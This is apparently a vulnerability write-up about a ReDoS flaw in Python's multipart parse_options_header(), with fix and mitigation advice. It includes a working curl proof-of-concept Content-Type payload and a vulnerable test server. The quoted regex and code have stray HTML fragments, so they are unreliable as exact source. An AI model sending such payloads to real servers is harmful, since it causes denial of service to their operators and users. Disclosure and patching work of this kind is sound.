Listen to this Post
The `parse_options_header()` function in `multipart.py` versions up to `1.3.0` contains a regular expression with an ambiguous alternation . When parsing a maliciously crafted `Content-Type` header (specifically the options section), the regex engine attempts to validate the string against multiple paths . Due to the nested repetition and alternation in the pattern, providing a carefully crafted input with many backslashes and quotes causes exponential backtracking . This catastrophic backtracking consumes 100% CPU for several seconds or minutes per request, blocking the event loop and preventing the server from handling any other requests . The vulnerable regex is used when parsing `multipart/form-data` streams, meaning any WSGI or ASGI application using `multipart.parse_form_data()` is affected . The issue is resolved in versions 1.2.2, 1.3.1, and `1.4.0-dev` by replacing the vulnerable pattern with a more efficient state-based parser .
Platform: Python Multipart
Version: through 1.3.0
Vulnerability: ReDoS
Severity: High
date: March 12, 2026
Prediction: Patches exist
What Undercode Say:
Analytics
- CWE: 1333 (Inefficient Regular Expression Complexity)
- CVSS 3.1 Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
- Attack Vector: Network
- Exploit Maturity: Proof-of-Concept exists
- Vulnerable Code: `multipart/multipart.py` lines 72-74
Code Snippets
Vulnerable Regex Pattern (simplified):
multipart.py (up to v1.3.0)
Simplified representation of the vulnerable alternation
_rfc5987_oppattern = b'([!$%&\'+-.^_<code>|~0-9A-Za-z]+)=?(' + \
b'([!$%&\'+\-.^_</code>|~0-9A-Za-z]+)|"(?:\\"|\\?[^"\\])")?'
def parse_options_header(value):
... uses re.compile(_rfc5987_oppattern) which causes backtracking
Fixed Version (v1.3.1+):
The fix replaces the vulnerable regex with a non-backtracking state machine or a more atomic regex to prevent ReDoS. Upgrade command: pip install --upgrade multipart Specific versions: 1.2.2, 1.3.1, or 1.4.0-dev
Exploit
Proof-of-Concept (PoC) using cURL:
This curl command sends a malicious Content-Type header with a long string of backslashes and quotes to trigger exponential backtracking in the vulnerable regex. curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'
Simple WSGI Server (Exploit Target):
Save as test_server.py
from wsgiref.simple_server import make_server
from multipart.multipart import parse_options_header
def vulnerable_app(environ, start_response):
This call triggers the vulnerable regex
_, _ = parse_options_header(environ["CONTENT_TYPE"])
start_response("200 OK", [("Content-type", "text/plain")])
return [b"Ok"]
if <strong>name</strong> == "<strong>main</strong>":
httpd = make_server("", 8123, vulnerable_app)
print("Serving on port 8123...")
httpd.serve_forever()
Run with: python test_server.py
Then execute the curl command above to cause DoS.
Protection from this CVE
- Upgrade Immediately: Update to `multipart` version
1.2.2,1.3.1, or `1.4.0-dev` .pip install multipart>=1.3.1
- For FastAPI/Starlette users: Ensure you are using `fastapi>=0.109.1` which vendors the fixed multipart parser .
pip install fastapi --upgrade
- Workaround (if cannot upgrade): Deploy a Web Application Firewall (WAF) or reverse proxy to filter requests with excessively long or malformed `Content-Type` headers containing many backslashes or quotes.
- Rate Limiting: Implement rate limiting at the load balancer level to mitigate the impact of multiple DoS attempts.
Impact
- Denial of Service: A single crafted HTTP request can block a worker thread for multiple seconds .
- CPU Exhaustion: The regex backtracking pegs one CPU core at 100% .
- Application Context: Affects any Python web application (WSGI/ASGI) that parses `multipart/form-data` (e.g., FastAPI, Starlette, Flask with certain extensions) .
- Thread/Process Blocking: In asynchronous servers (ASGI), it blocks the main event loop; in synchronous servers (WSGI), it blocks the entire worker thread .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

